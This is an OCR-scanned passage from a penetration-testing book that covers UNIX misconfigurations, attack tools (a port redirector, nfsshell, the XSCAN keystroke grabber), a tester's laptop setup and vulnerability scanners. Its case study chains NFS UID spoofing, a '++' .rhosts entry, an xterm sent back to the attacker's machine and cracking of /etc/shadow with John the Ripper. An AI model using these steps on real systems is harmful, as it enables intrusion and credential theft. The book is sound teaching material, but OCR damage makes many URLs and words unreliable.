NFS is an instance, as mentioned above, where misconfigurations are partly to blame for
creating holes in the network. Along with allowing the export of the root file system with full
privileges, we often see NFS implementations extend the privilege to export files and
directories to everyone.

Another common misconfiguration, is leaving too many unnecessary services running.
Inetd often starts more services than system administrators realize. The file
should be closely examined to ensure that the host machine is running only what the client
needs it to run. The failure to disable unnecessary or extraneous services started by the

file has been the cause of many system security breaches. Further, some
services, such as NFS, are started by rc scripts. Therefore the rc scripts, which can be
located in various places in the directory structure, must be analyzed as closely as the

file. However, several system administrators are unaware of this fact and do not
analyze these scripts to see what exactly they are running.

Core dump files and old log files are often left on the system longer than they should be.
As previously mentioned, if these files are reviewed on a periodic basis, they should be
stored on a separate host. A cron job can be used to scan for and delete such files.

Similarly, the existence of unneeded SUID, SGID, and world-writable files can be
considered a misconfiguration. There really should be a structure in place for assigning file
permissions. System configuration files, for instance, should be writable only by root. User
account configuration files, such as the file, should be readable/writable only by the
owner and the system administrator. Further, there should be only the minimum number of
such files on the system.

Looking for UNIX misconfigurations is a difficult task that generally requires a great deal of
experience as a UNIX system administrator—you have to know where to look. So while we
do look for the issues mentioned in this section, we do not spend a great deal of time on
penetration-testing engagements combing UNIX systems for potential misconfiguration.
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9.6 UNIX Tools

Popular tools as Nmap, Netcat, and Whisker are covered later in the book based on their
functions. They are among the cream of the crop of UNIX-based security tools and we are
almost certain to use them on any penetration-testing exercise.

UNIX-based tools are generally scripts or executable code that can be run to accomplish a
specific purpose, such as to gain information on the network or to execute a specific attack.
There are commercial tools among this collection, but a majority of these are developed in
the underground, and the source code is often available as open source, freeware, or
shareware in one or more online repositories of security (hacking) tools. These tools can be
specific to a single UNIX flavor or may work on a large collection. However, it is not likely
that a tool will work on all variants (at least not the latest versions and patch levels). To
discuss all such tools here would be prohibitive. We try to present those that we have
found useful in our experience.

One popular class of such tools includes those dedicated to decrypting UNIX passwords.
An obvious goal of hacking a box is to grab all its passwords. This can allow a hacker to
gain access to that machine again in the future as well as to compromise other machines in
the connected networks since users often reuse their passwords. We cover several UNIX
password-cracking tools in Chapter 15.

9.6.1 Datapipe.c

URL: www.Qacketstormsecurity.ord

Description Datapipe.c is a port redirector that can allow you to bypass port filtering rules

at routers and firewalls. It works by establishing a pipe from a local port to a port on a
remote machine. For example, if a datapipe exists between HostA:5000 and HostB:79,
finger commands against HostB can be made to HostA on port 5000. Datapipes can be
strung together and used in conjunction with Netcat to quite effectively bypass
port-blocking mechanisms on the target network.

Usage Once compiled, the command to use datapipe is the following:


http://www.packetstormsecurity.org/default.htm

# ./datapipe <local port> <remote port> <remote host>

There are additional scripts, such as crackpipe.c, that attempt to bypass port-filtering
routers and firewalls.

9.6.2 QueSO

URL: W\MN.packetstormsecuritv.ord

Description QueSO is one of the original tools designed to perform OS identification.
Since Nmap began to incorporate this functionality, the usage of QueSO has significantly
decreased. We mention it because we have still found that, as of this writing, QueSO can
have better success at identifing certain flavors of BSDs than Nmap. Also, this tool is still
used to perform OS identification in the Cheops tool (discussed next).

Usage The command to use QueSO is:

# ./queso <target:port>

The target port does not have to be specified. The following options are available with
QueSO:

-v— displays the version

-d— debug mode, print received packets

-w— update quest.conf when new OS is found

-f srclP— select correct In/Out IP

-c file— alternate configuration file

-t seconds— set reception timeout (default = 3)

-n times— how many times packets are sent (default = 1)

We have not found that any of these options are truly necessary. However, you may want
to transmit packets multiple times.
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9.6.3 Cheops

URL: wmm.marko.net/cheo@

Description Cheops is a GUI-based network-mapping tool that is quite useful in
developing a visual layout of the target network. We prefer to develop network maps of our
targets to provide a visual picture of the network topology so we can understand the path
traffic follows from the source machine through the Internet and on to the target hosts. In
addition, it is beneficial to have a network map to present to organizations since companies
often want to compare it to their own maps of the network.

Usage The command to bring up the Cheops GUI is simply:

# ./cheops

On launching the program, the user is given the option to map the current network. It is a
good idea to select this option so that the network path from your present location to the
target domain can be traced out. However, this is not a necessary step. You can directly
map the client's network by selecting the Add Network option from the Viewspace tab on
the pull-down menu. A window will appear in which the network and the subnet mask (as

shown in ) can be identified.

Figure 9-1. Add Network option for mapping networks with Cheops
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[8] Cheops Network User Interface version 0,60
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Cheops uses icons to represent individual hosts identified and detected on the target
network. For example, a red devil is used to depict the BSD operating system.

illustrates the use of a penguin for a Linux box.

Figure 9-2. Cheops GUI showing discovered network
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Cheops can present additional information on the individual host: running the cursor over
the item shows the host's name (if found), IP address, and OS. As mentioned, QueSO is
used to perform the OS detection.

In addition, right-clicking on an icon makes available additional tools, including Traceroute,

Ping, Scan, and Monitoring functions, as shown in Eigure 9-3. The Traceroute and Ping
options run their respective UNIX command line tools. The Scan option performs a

rudimentary scan of the hosts. The results are shown in Eigure 9-4f. The Detect option
presents the window that is shown when the left mouse button is clicked. The Monitoring
option allows the user to monitor the host for Web, mail, FTP, and other servers.

Figure 9-3. Cheops GUI with icon selected
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Figure 9-4. Cheops port scan results
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A reverse DNS option is also available under the Viewspace tab. This process reveals the
host name of identified hosts.

In our use, we mainly employ Cheops for its mapping functions, although having additional
functionality, such as OS detection, is very helpful. Other tools in our tool kit are used for
additional functionality, such as Nmap for port scanning and VisualRoute for a traceroute.

9.6.4 nfsshell

URL: hg://ftg.cs.vu.nI/Qub/Ieenderﬂ

Description: The nfsshell tool is essentially a client that can access NFS servers over

either TCP or UDP. This tool is helpful in testing and verifying the existence of potential
exposures in NFS servers. The source code is available as freeware and has been tested
on several UNIX variants, including AlX, DEC, SunOS, and Linux (including Red Hat 5).

Usage: nfsshell is a straightforward, easy-to-use command line tool with numerous
options that works much like an FTP client. It allows remote connection to an NFS server in
much the same way an FTP client remotely connects to an FTP server. The following
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command allows you to access the client:

# nfs

At this point, the prompt should change to the following:

nfs>

From here, the help command brings up a list of available commands, many of which will
be familiar, including the cd, uid, get, and put commands that allow a user to change the
directory, change the user ID, get a file from the remote host, and put a file onto the remote
host, respectively. The complete list, taken from the help documentation, follows.

host <host>—set remote host name

uid [<uid> [<secret-key>]]—set remote user ID
gid [<gid>]—set remote group ID

cd [<path>]—change remote working directory
lcd [<path>]—change local working directory
cat <filespec>—display remote file

Is [-I] <filespec>—Iist remote directory

get <filespec>—get remote files

df— —file system information

rm <file>—delete remote file

In <filel> <file2>—Iink file

mv <filel> <file2>—move file

mkdir  <dir>—make remote directory

rmdir  <dir>—remove remote directory

chmod <mode> <file>—change mode

chown  <uid>[.<gid>] <file>—change owner
put <local-file> [<remote-file>]—put file
mount [-upTU] [-P port] <path>—mount file system
umount—umount remote file system
umountall—umount all remote file systems
export—show all exported file systems

dump —show all remote mounted file systems
status —general status report

help —this help message

quit —it's all in the name



bye—qgood-bye
handle [<handle>]—qget/set directory file handle
mknod <name> [b/c major minor] [p] —make device

More interesting commands include the host <hostname> command that initiates a

connection to the specified target (using either its host name or IP address). The export
command then lists the target's export list. These files or directories can be mounted with
the mount command.

9.6.5 XSCAN

URL: www.Qacketstormsecurity.ord

Description: The XSCAN tool identifies insecure X servers on hosts within a target

subnet. The tool has been tested on the Sun and Linux variants of the UNIX OS but has
been known to work on other variants as well. Once a running X server is detected with
weak access control, XSCAN begins to perform keystroke capture on the target and write
the keystrokes to a file on the attacking machine.

Usage: The command to use XSCAN is:

# xscan target

where target can be the fully qualified name or IP address for an individual host or subnet.
Multiple hosts or subnets can be scanned by simply spacing out the targets, as in the
following command:

# xscan targetl target2

Further, individual hosts and subnets can be scanned simultaneously, as in the following
command:

# xscan 10.10.10.5 10.20.30

When a subnet address is used, the final host portion of the address can be omitted.

Keystrokes are written to a file on the local machine and are identified by the host name to


http://www.packetstormsecurity.org/default.htm
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Case Study: UNIX Penetration

During an internal penetration test we found some interesting services running on a UNIX
system at IP address 10.10.10.10. Our Nmap port scan (using the command shown below)
revealed that NFS (port 2049) and rlogin (port 513) were running on the target system.
Nmap's operating system detection also revealed that the operating system was Red Hat
6.1. We determined that we might be able to exploit NFS and rlogin to gain access to the
system.

First we needed to determine what information was available from NFS. We issued the
command:

This command returned the information that users' home directories were exported. Using
the command we mounted a user's home directory, which we will call user1.

Since rlogin was also running on the server, we could attempt to establish a trust
relationship so that we could log in to the system with no password. A file in a
user's home directory specifies what systems are trusted and allows users from those
hosts to log in with no password. Therefore, if we could create a file in the userl
home directory and add an entry to allow it to trust our system, we could log in with no
password.

Unfortunately, the mounted file system was not writable. We attempted to use nfsshell to
get around this problem. Using nfsshell, we attempted to change the UID to “1” on the
mounted file system to give us write access. This is done by simply specifying the UID
value in the nfsshell client:

Using the status command we verified that the UID was changed.



Now that we had write access to the file system, we could create a .rhosts file. Adding a
"++" to the .rhosts file causes the target to trust any user on every system. We issued the
following command to create the .rhosts file in the userl home directory.

# echo ++ >.rhosts

Now we could log in to the system as user1.:

# rlogin —l userl 10.10.10.10

Now we were logged in as userl. We wanted to elevate our privileges to root. To help us
achieve this, we sent an Xterm back to our system. On our system we issued the following
command:

# xhost +10.10.10.10

On the target system, we executed the following command to export the display. The IP

address of our laptop was 10.10.10.100.

# xterm -display 10.10.10.100:0.0

Now we had a fully functional Xterm and could execute commands as if we were sitting at
the console. Next, we started to research local buffer overflow attacks that we could use to
elevate our access. Searching Packetstorm we found a local buffer overflow for Red Hat
6.1 that yielded root access. We downloaded an exploit called vixi-crontab. We ran this
exploit and obtained root privileges on the system.

Once we had root we captured the password and shadow password files and cracked
them using John the Ripper.

# unshadow /etc/passwd /etc/shadow > crack.1
# john crack.1

Now we had additional passwords to attempt on other systems.

Lessons Learned
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Chapter 10. The Tool Kit

A penetration-testing tool kit is a collection of software and hardware that provides
automated retrieval of information, interaction with a target network, and a means of
exploiting identified weaknesses. No two tool kits look the same (everyone adapts the tools
they use to their particular network or preference), but there are several programs that
have proven to be very useful and can be found in most tool kits.

This chapter discusses the hardware specifications and basic configuration of a system
that can be used to perform penetration testing. These are general parameters and should
be seen not as exclusionary but as a suggestion for a starting point for developing your
own penetration-testing system. We cover and compare freeware and commercial security
tools in later chapters, but we focus on operating system and functional programs in this
chapter. These programs form the core of the penetration-testing kit as well as add the
functionality that is required to interact in a variety of different network environments. In
some instances, we have found specific tools that cut down on the amount of effort or time
required to perform a task. These tools have been found indispensable as part of the tool
Kit.
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10.1 Hardware

The choice of hardware for performing penetration testing is between desktop and laptop machines.
The dynamic nature of a penetration test makes a desktop system awkward to use, and the limitations
of a desktop machine make the test stationary. You would not easily be able to take the machine onto
the client's site to perform an internal test or test separate network segments. Ease of movement
coupled with the ability to interchange parts (including swappable hard drives, NIC cards, batteries,
and so on) make a notebook computer a more flexible hardware platform for penetration testing.

It's important to note that you do not want to use a machine that has critical data or applications on it
for penetration testing. Occasionally the use of some penetration-testing tools causes a system crash
that could result in lost data or the need to reformat or reinstall your system. A penetration tool kit
should be at least a separate hard drive from your production or work system.

While most of the tools we use do not require excessive processing power, brute force and
password-cracking programs are specifically limited by the CPU. Using a smaller CPU results in more
time spent cracking.

Your network card is your primary conduit to the target system. It is important to have a network
interface that can support “promiscuous” mode operations. This allows your system to sniff network
traffic and obtain user IDs and passwords. Inexpensive network cards often do not have this feature.
Using the command in Linux, you should be able to determine whether the card has this
capability:

This command should put the eth0O card in promiscuous mode.

All of the sniffers we use require the network card to support promiscuous mode. If you find a card that
is compatible with a network-based intrusion detection system, you most likely have a card that will go
into promiscuous mode. Most networks today are using 10 or 100BaseT Ethernet connections. In
some instances you may need more than one network card to access different networks or different
segments.

As you use new tools, you'll want to test the software before adding it to your tool kit. A secondary
hard drive that can serve as a testing platform is useful for finding out what a_program does before
using it for production systems. We have found that a program like Tripwire (www.tripwire.conj) can be
used to create a template of your secondary hard drive before installing a new program. After the
installation, you will be able to identify which files have been added or changed. Since many of the
new programs you will want to use will not come from commercial vendors, this step provides an
added safeguard to ensure the product is touching only the files expected and not installing a virus or
Trojan horse.
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10.2 Software

Standard operating system choices are Windows NT/2000, Linux (or some other x86
UNIX-type system), and Windows 95/98/ME. Each operating system has its advantages
and disadvantages. Often users are committed to their operating system of choice and
stick to it. It is okay to use the operating system you are most comfortable with, but you
should be aware of all your options. The operating systems we use for penetration testing
need to be configurable, flexible, and able to support the tools we need to use. Often you
will need to use multiple operating systems. Some tools support only UNIX, while others
support only NT or Windows 2000. When attacking Windows NT, an NT or Windows 2000
system is needed to perform native NT commands and to use resource kit utilities.
Similarly, UNIX systems are necessary to use some of the native UNIX commands when
testing UNIX.

We have found that many penetration-testing tools do not work in a Windows 95/98/ME
environment. In addition, Windows 95/98/ME does not support many of the networking
capabilities that we want to use, such as NT NET commands. There are few programs that
require a Windows 95/98/ME environment, and they are specifically stated. The Windows
95/98/ME configuration works well for home systems for users who don't want to interact
with the underlying components of system operation.

10.2.1 Windows NT Workstation

On the NT platform, we use programs that make information retrieval much simpler. The
functionality built into NT for network usage, NetBIOS, and TCP/IP makes it easily
configurable. Using NT enables you to access the NET commands (net use, net time, and
so on), which offer most of the basic information we need to start a penetration test against
NT systems.

The Windows NT Resource Kit contains a wealth of tools that can be used to obtain
information from target systems. The tools included are designed to make network
administration easier. However, whenever you make network administration easier, you
simultaneously run the risk of reducing network security. Many of our attacks take
advantage of resources introduced by the NT Resource Kit, such as Remote and Server
Manager. It can be relatively easy to get command line access, but the Resource Kit is
needed to jump further into the network. (We dissect the Resource Kit in depth in [Chapter

[LG.) There are resource kits for both Workstation and Server. Either one will be sufficient,



but if you are running Windows NT Workstation, the resource kit for Workstation will
provide many of the server programs you'll need.

10.2.2 Linux

Most of the tools coming from the “black-hat” community are designed to run on Linux or
another UNIX flavor. This makes understanding UNIX commands and functionality a
required skill set for penetration testing. Solaris x86, Debian, FreeBSD, and OpenBSD are
popular operating systems for testing as well. Install and run each operating system and
use the one that matches your tastes and preferences.

We have found that a dual-boot system running Red Hat Linux with Windows NT
Workstation 4.0 to be a good mix for our needs since it allows us to use both the
NT-specific and UNIX-specific tools. Windows NT Workstation and Linux offer the
functionality and flexibility to provide access to the information we need. Windows NT
Workstation is required for some commercial scanners that do not operate from Windows
NT Server.

A notebook computer with a dual NT/UNIX boot gives you the features and functionality of
both operating systems without having to carry two computers. In addition, load the NT
Resource Kit for Workstation on the NT partition and load the tools presented in this book
as needed. There are several methods and software packages that enable dual booting
between operating systems, including Boot Magic, System Commander, LILO Boot
Manager (Linux), and VMware. Any of these packages can achieve the desired boot
options. Both Boot Magic and System Commander are relatively easy to install and
configure. They both require you to partition your hard drive with a separate partition for
each operating system. Partitioning is not difficult but it does reduce the amount of
available space for each operating system. Partition Magic is a popular product for
“on-the-fly” disk partitioning, and it comes with the Boot Magic multiple operating system
boot menu. Make sure your hard drive is large enough to be partitioned to accommodate
two operating systems. A 6GB hard drive should provide more than enough room, but the
additional software greatly reduces the available space. Add to that the output and reports
and the hard drive becomes quite crowded. We have found 10GB hard drives to be
sufficient for now.

One of the disadvantages of partitioning your hard drive and using Boot Magic or System
Commander is that you will need to reboot your system each time you need to change
operating systems. Rebooting can be time consuming, but you gain the advantage that the
operating system you use will be able to fully use the system hardware and processing
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10.3 VMware

VMware enables you to simultaneously run both Windows NT and Linux by creating a
“virtual machine” under a host operating system. This enables you to reap the benefits of
both operating systems without having to constantly reboot your system. If you run VMware
from within the Windows NT system, a window will pop up that shows the virtual machine
booting. Everything from memory check to operating system choice is displayed within this
window. The same scenario is true if you boot Windows NT from within Linux. The
windows can be made full screen for ease of use, and the ctrl-alt-esc key combination
allows you to switch the mouse from the virtual machine and the primary operating system.
This allows you to switch back and forth between the operating systems in order to use
specific tools. This additional functionality is not without its downside. VMware halves
available RAM. If you start with 128MB of RAM, by using VMware you will have two
operating systems, each with 64MB of RAM. Also, the added strain on your processor will
make each operating system run noticeably slower. During the discovery phase of
penetration testing, this added value can be worth the strain. However, as you target
specific systems, you will find that it is best to generally launch the penetration test from a
laptop running the same operating system as the target, and you may not need the
dual-operating system capability provided by VMware.

When using VMware, both operating systems appear as a separate computer on the
network. In fact, each binds a separate IP address to the network interface card, and a
scan from the network shows two separate computers. Keep this in mind when you are
configuring many of the tools that require you to input your IP address to receive return
traffic. Users often incorrectly use the IP address of the opposite operating system, causing
hacks to not work and leading users to spend time figuring out why.

Unfortunately, VMware is not free. At the time of this writing the list price for the product is
approximately $299. A student/hobbyist license is available for $99, and you can obtain a
free 30-day evaluation license to try the product. You can purchase VMware directly from

WWww.vmware.comni.

Installing and configuring VMware is relatively simple. The instructions and documentation
are detailed. Essentially you need a system with Windows NT, Linux, or Windows 95
loaded. You install VMware on this partition and then create guest “virtual operating
systems” that are directories in the native file system. Fortunately, the configuration wizard
guides you through the installation and configuration of each guest operating system.


http://www.vmware.com/default.htm

Remember, you need a valid license for any operating system you install. Once you have
VMware and your guest operating system(s) configured, you can easily power VMware on
and off and switch between operating systems by selecting the operating system you wish
to use. You can install software on each operating system just as if it were the native
system. You simply use VMware to select the desired operating system and load the
software just as you normally would. Software installation utilities embedded as part of the
VMware product can assist you in installing a new operating system.
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Chapter 11. Automated Vulnerability Scanners

Many people are familiar with a number of the automated vulnerability scanners available
in the industry. While these scanners are useful in security testing, they are often misused
by organizations. We usually find that organizations either rely too heavily on automated
scanners, thinking they are the end all and be all of testing, or do not use automated
scanners at all. Vulnerability scanners are a useful tool in testing, but they are only one
part of the test. Effective security testing includes the use of automated scanners but also
includes all the other phases we describe in this book.
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11.1 Definition

Vulnerability scanners are automated tools designed to scan hosts and networks for known
vulnerabilities and weaknesses. There are a number of these tools on the market. Some
are free and others will significantly strain your budget. Network Associates CyberCop
Scanner and Internet Security Systems (ISS) Internet Scanner are two of the leading
commercial scanners in the industry. These tools essentially perform a series of automated
checks against each target, trying to locate known vulnerabilities. Each tool has a
vulnerability signature database that it can use to test the host for known vulnerabilities. If
the vulnerability does not exist in the database, the tool cannot find it. Additionally, if the
database is not continually updated, the tool will not find the latest vulnerabilities and will
become less effective. Therefore, the number of vulnerabilities a scanner looks for and the
frequency of the updates are important criteria for selecting the right vulnerability scanner.
The problem is each vendor does not define the term vulnerability in the same way. For
instance, some scanners find one vulnerability and then report each piece of information
that can be gathered as a result of this one vulnerability as additional vulnerability checks.
So a single vulnerability becomes ten as reported by the scanner.
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11.2 Testing Use

Vulnerability scanners can effectively locate many of the holes discussed in [Chapter 4. The
scanner can be used to identify vulnerabilities you may have missed during earlier testing.
Additionally, the tools can help discover vulnerabilities that have been published but not yet
patched on systems. By using the information from the scanner in conjunction with the rest
of the testing data, you can gain an excellent picture of the network and systems. Most
scanners look for vulnerabilities at the operating system level. They look for such holes as
misconfigured file permissions, open services, and other operating system problems. In
addition, many scanners look for vulnerabilities in commonly exploited applications such as
Web services, domain name services, and sendmail. Now specialized scanners are being
developed to test databases and other specific applications. We see these specialized
scanners becoming more popular in the near future.

| |l@ve RuBoard




| l@ve RuBoard

11.3 Shortfalls

While automated vulnerability scanners are an effective tool for helping to secure a network, they do
have shortfalls. First, many people tend to rely too heavily on automated scanners, thinking that the
scanner can replace comprehensive penetration testing. These individuals don't quite understand how
a scanner works. There is a quote used often in the security community: “Computers don't break into
other computers, people do.” Therefore, it is unrealistic to expect a vulnerability scanner to replace a
skilled penetration tester. While the scanners do identify vulnerabilities, they are not good at chaining
vulnerabilities—combining vulnerabilities such as bypassing filtering rules to access a poorly
configured FTP server or exploiting one system to gain passwords to another. Comprehensive
security testing should identify additional holes that can lead to network penetrations that most
scanners would miss. Vulnerability scanners help find and correct some of these vulnerabilities, but a
skilled person with a bag of tools and tricks is still the only effective way to find and then plug as many
holes as possible.

Another weakness of vulnerability scanners is that they are only as good as their signature database.
If the database is not continually updated (or is not very good at the start), the results of the scan will
be poor. Each day new vulnerabilities are published for a variety of systems and applications. If you
are going to use a scanner, choose one with a good vulnerability database and regular updates.

Some scanners can be confusing to use. In fact, some are even dangerous if not used properly. For
example, Network Associates' CyberCop Scanner and ISS Internet Scanner contain denial-of-service
(DoS) testing modules. While these modules are intended only to test for the existence of DoS
vulnerabilities, they could cause an actual DoS condition on the target. An inexperienced tester may
not be aware of these modules before running the tool and may inadvertently bring down a company's
network. Also, automated scanners can generate a lot of network traffic. If used during the wrong time
of day on busy networks, the scanner could reduce network and system performance. Also, if the
network you are testing has an intrusion detection system (IDS) installed, you need to check with the
IDS operations personnel before running the tool. Some IDSs are configured to shut down network
segments if suspicious activity is detected. In those network environments the scanner will set off the
IDS sensor and shut down the network segment being tested. Be sure that these conditions do not
exist before running the tools on the network. Also, if you are trying to remain undetected during
testing, a vulnerability scanner is not the route to choose. However, if you do use an automated
scanner on a network with an IDS and are not detected, you can be pretty sure the IDS will not detect
anything else either.

Most vulnerability scanners provide false positives in addition to legitimate findings. You must be able
to review and analyze the output to determine whether the vulnerability truly applies or is a false
positive. Recognizing that the vulnerability affects an operating system other than the system being
scanned, or that the service reported to contain the vulnerability does not exist on the server, can help
to identify false positives. Other types of false positives can be more difficult to verify.

In addition, you must find ways to fix the vulnerability the scanner identifies. Many scanners, such as
Internet Scanner and CyberCop, provide recommended fixes to address the reported vulnerability.
However, the recommendation may not contain enough detailed to enable you to fix the vulnerability



without performing additional research. Nevertheless, the recommendation at least gives a starting
point for addressing the exposure. Sometimes the recommended fix considers only security
implications, although the vulnerability may have a significant impact on performance or business
operations. For instance, the recommended fix may shut down a service that you actually need on
your network. In this case you will have to find another way to control the risk resulting from the
vulnerability. Regardless, you should always test recommended fixes in a nonproduction environment

before applying the repair. This way you will hopefully catch any problems before they are introduced
into a production environment.
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11.4 Network-Based and Host-Based Scanners

There are two main types of automated scanners, network-based and host-based.
Network-based scanners attempt to look for vulnerabilities from the outside in. The
scanner is launched from a remote system such as a laptop or desktop with no type of user
or administrator access on the network. Conversely, the host-based scanner looks at the
host from the inside out. Host-based scanners usually require a software agent to be
installed on the server. The agent then reports back to a manager station any
vulnerabilities it finds. Network-based scanners look for exploitable remote vulnerabilities
such as IIS holes, open ports, buffer overflows, and so on. Host-based scanners look for
problems such as weak file permissions, poor password policy, lack of security auditing,
and so on.

Host-based and network-based scanners complement one another well. It is very effective
to employ both when testing critical systems. Again, you need to be careful when using
these scanners. Network-based scanners have many options for dangerous tests, such as
denial of service. Host-based scanners usually require an agent be loaded on the system
being tested. This could introduce a problem on the target host if the software is not
configured properly or if the agent conflicts with an application or service on the target
system. Therefore, you should always test your host-based scanner on nonproduction
systems prior to using it in a live environment.

Host-based scanners can also be used as configuration management tools. A host-based
scanner can report changes a system administrator or other user made to the system. For
instance, if a system administrator inadvertently changes file permissions on a server or

opens an authorized service, the tool could report this change to the management server.

As we stated earlier, specialized scanners are becoming more popular. ISS has developed
a database scanner and other companies are following the lead. In addition, scanners for
enterprise resource planning (ERP) systems are currently under development. The number
of scanners developed for specialized, widely distributed applications will probably continue
to grow. These scanners will most likely have many of the same problems we have
discussed above, but they should also offer significant benefits in security testing.

Other developments in the automated vulnerability scanner market include integration into
an active security model. Active security combines different automated tools into an
unmanned network defense. For instance, if the automated scanner detects a vulnerability,
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11.5 Tools

lists some of the leading network- and host-based vulnerability scanners for
some of the more popular operating systems. Often we are asked, “What is the best
scanner?” This is a difficult question to answer. There are several good tools available and
each has its strengths and weaknesses. One scanner may be better than another at
scanning a particular operating system. Another scanner may be faster than the others.
Which one is the best really depends on what you are going to be using it for and what
features are important to you. Network Associates CyberCop scanner and ISS Internet
Scanner are two of the leading scanners for UNIX and Windows NT systems. Our
experiences show that Internet Scanner may find vulnerabilities that CyberCop does not
and vice versa. Therefore, it may be beneficial to run more than one scanner. This could be
very expensive. CyberCop, Internet Scanner, and other leading scanners are not cheap. In
fact, we find them quite expensive, but they are considered the top of the pack in
automated network-based vulnerability scanners.

Table 11-1. Scanners for Each Operating System by Type

Target Type of Scanner
Host

Network-Based Host-Based

Windows |CyberCop, ISS Internet Scanner, HackerShield, | Enterprise Security Manager (ESM),
NT NetRecon, Nessus Pentasafe VigilEnt, ISS System
Scanner, Bindview

Netware [NetRecon, Kane Security Analyst ESM, Bindview, Pentasafe VigilEnt

Solaris CyberCop, ISS Internet Scanner, Nessus, ESM, Pentasafe VigilEnt, Bindview
HackerShield, NetRecon

AIX CyberCop, ISS Internet Scanner, HackerShield, |[ESM, Pentasafe VigilEnt
Nessus, NetRecon

HP-UX CyberCop, ISS Internet Scanner, HackerShield, [ESM, Pentasafe VigilEnt
Nessus, NetRecon

AS/400 |CyberCop, ISS Internet Scanner, HackerShield, |Pentasafe, SafeStone, ESM (with
Nessus, NetRecon (all mainly test TCP stack |SafeStone plug-in)

only)

If you have a limited budget, there are free scanners on the market. Nessus is a leader
among free scanners and is challenging the top commercial scanners. The January 2001



issue of Network Computing tested the ability of eight vulnerability scanners (Nessus,
Network Associates' CyberCop, ISS Internet Scanner, Axent's NetRecon, Bindview's
HackerShield, eEye Digital Security's Retina, Security Administrator's Research Assistant
[SARA], and World Wide Digital Security's System Analyst Integrated Network Tool
[SAINT]) to detect 17 of the top vulnerabilities. Nessus led the group, detecting 15 of the
17 vulnerabilities. Nessus appears to be a viable option as a vulnerability scanner. Nessus
IS an open-source project that currently has captured a lot of attention and support. If the
tool continues to be well supported, it will remain a force in the industry.

(1] Forristal, Jeff, and Greg Shipley. 2001. “Vulnerability Assessment Scanners.” Network Computing,
January 8. Accessed online at I/vww.networkcomputinq.com/lZOl/lZOlflbl.html.

Often, a scanner that works well for Windows NT and UNIX does not work well for Novell.
Thus, for Novell systems you usually need to find a different scanner. NetRecon and Kane
Security Analyst are considered excellent tools for Novell.

One key feature to look for in any automated scanner, whether commercial or free, is the
frequency of the database updates. In order for the tool to be effective, it must use an
up-to-date vulnerability database. The updates enable the scanner to detect the latest
vulnerabilities. The level of support for the tools varies. Therefore, before you purchase a
scanner be sure to find out how often it is updated.

The following sections focus on specific network-based and host-based scanners.
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11.6 Network-Based Scanners

11.6.1 Network Associates CyberCop Scanner

URL: lwww.nai.com

Client OS: LINUX, Windows NT
Target OS: Windows NT, UNIX

Description: CyberCop is one of the top scanners for testing Windows NT and UNIX
platforms. CyberCop is relatively easy to install. However, once installed it can be
confusing to configure for the first time. CyberCop has several options, such as IDS and
DoS testing, other than vulnerability scanning alone, but here we concentrate on explaining
the vulnerability-scanning features first. Also, CyberCop supports scans by operating
system. If the tool can detect the type of OS it will disable modules that do not apply. The
OS-specific scanning and CyberCop's multithreaded engine options enable it to scan
systems quickly and efficiently.

To prepare CyberCop for vulnerability scanning there are three main areas you need to
configure: scan settings, module settings, and application settings. We describe each of
the three areas to help get you started with the tool. However, you should read the
documentation and become proficient with the scanner in a test environment before using
the tool against production systems.

Figures 11-1_] and @ show the Scan Settings screens. There are three main areas to
configure on this setting. First, you need to input the hosts you will be scanning. On the
Scan Settings tab shown in , you can either enter the hosts to be scanned as a
range or use a host file. Next, you need to remember to change the name of the results file

found at the bottom of the screen; otherwise you will overwrite the scan results each time
you perform a scan and lose the data from your previous scans. Finally, on the Engine

Options tab depicted in Eigure 11-2, you need to decide whether to select the Scan
Unresponsive Hosts option. If Scan Unresponsive Hosts is not checked, CyberCop will
attempt to ping the host. If the host does not respond to ping, CyberCop will skip that
address. If the targets you are scanning are not configured to respond to ICMP pings, you
will need to select the Scan Unresponsive Hosts option. Keep in mind that having Scan
Unresponsive Hosts checked will cause your scan to take a lot longer since each module


http://www.nai.com/default.htm

will have to time out on each address that has a live host. This can cause the scan to take
significantly more time. The Engine Options tab also offers many different settings for
number of threads and concurrent scans.

Figure 11-1. CyberCop Scanner Scan Settings screen
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Figure 11-2. CyberCop Scanner Engine Options screen
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Module settings can also be confusing. CyberCop checks for hundreds of vulnerabilities
that are organized into modules. You can see on the Module Configuration screen shown
in that there are many module options. Knowing which modules to run or not
run can be confusing. Fortunately, version 5.5 of CyberCop introduced a nice button called
Unselect Dangerous. This button unselects any test that Network Associates thinks is
dangerous to the target system or network. Dangerous tests are marked with a red caution
sign. These are generally the DoS tests or other tests that could cause the target system to
hang or crash. If you select the Unselect Dangerous button you should notice that all the

tests with a red caution sign are not checked.

Figure 11-3. CyberCop Module Configuration screen
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There are a few modules you should consider whether or not you want to run even when
Unselect Dangerous has been selected. Password grinding, for instance, is not considered
dangerous, but it could lock out accounts on systems that have account lockout enabled.
Module 30005 sends a message to each NT host being tested that “the system is being
scanned by CyberCop” so you may want to unselect it if you want to try to stay undetected.
You should really go through all the modules to get an idea of what each one scans for.
Each test contains a module description that outlines the type of test performed, the
security concern associated with the vulnerability, and a recommended repair. Make sure
you verify the fix before implementing it since it may not apply to your environment or could
introduce problems into your particular network. Always test before implementing any fix on
a production system.

The Application Settings tab contains some interesting options. Remember to select the
Show Scan Results option, otherwise you will have to wait until the scan has completed
before seeing any of the results or progress. You should also verify that the working
directory, utilities directory, and templates directory are correct before beginning the scan.

Once you have the settings complete, you are ready to start your scan. You can begin the
scan by using either the Scan drop-down menu or the button with the blue arrow pointing to



the right. The scanner will show the progress of the scan. If you need to stop the scan,
either select Stop Scan from the menu or use the square blue button.

Once the scan finishes, look at the results to see where you are vulnerable. To view the
results, select View Results from the Reports drop-down menu. CyberCop reporting uses
the Microsoft management console. Find and select the events mdb file from the scan just
conducted. Next you have to choose the format or view you want for the information. We
like to view the report by vulnerability ID so that we can see each host affected by
vulnerability. Exporting the report can be a little more difficult. Frequently the format of the
exported report is poor when Microsoft Word or text format is chosen. The exported report
could consist of hundreds of pages that could be difficult to navigate.

11.6.2 ISS Internet Scanner

URL: Wwww.iss.net

Client OS: LINUX, UNIX, Windows NT
Target OS: Windows NT, UNIX

Description: ISS Internet Scanner is another top network-based vulnerability scanner. It

is very similar to CyberCop. shows the initial Internet Scanner screen. Internet
Scanner uses a wizard format to guide you through the process of setting up a scan,
prompting you to input the range of hosts to be scanned.

Figure 11-4. Internet Scanner initial screen
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Next you need to select a policy. A policy essentially consists of the vulnerability checks
the tool will perform. Internet Scanner presents several default policies you can use as a
starting point to create your own policy. As shown in , there are different levels
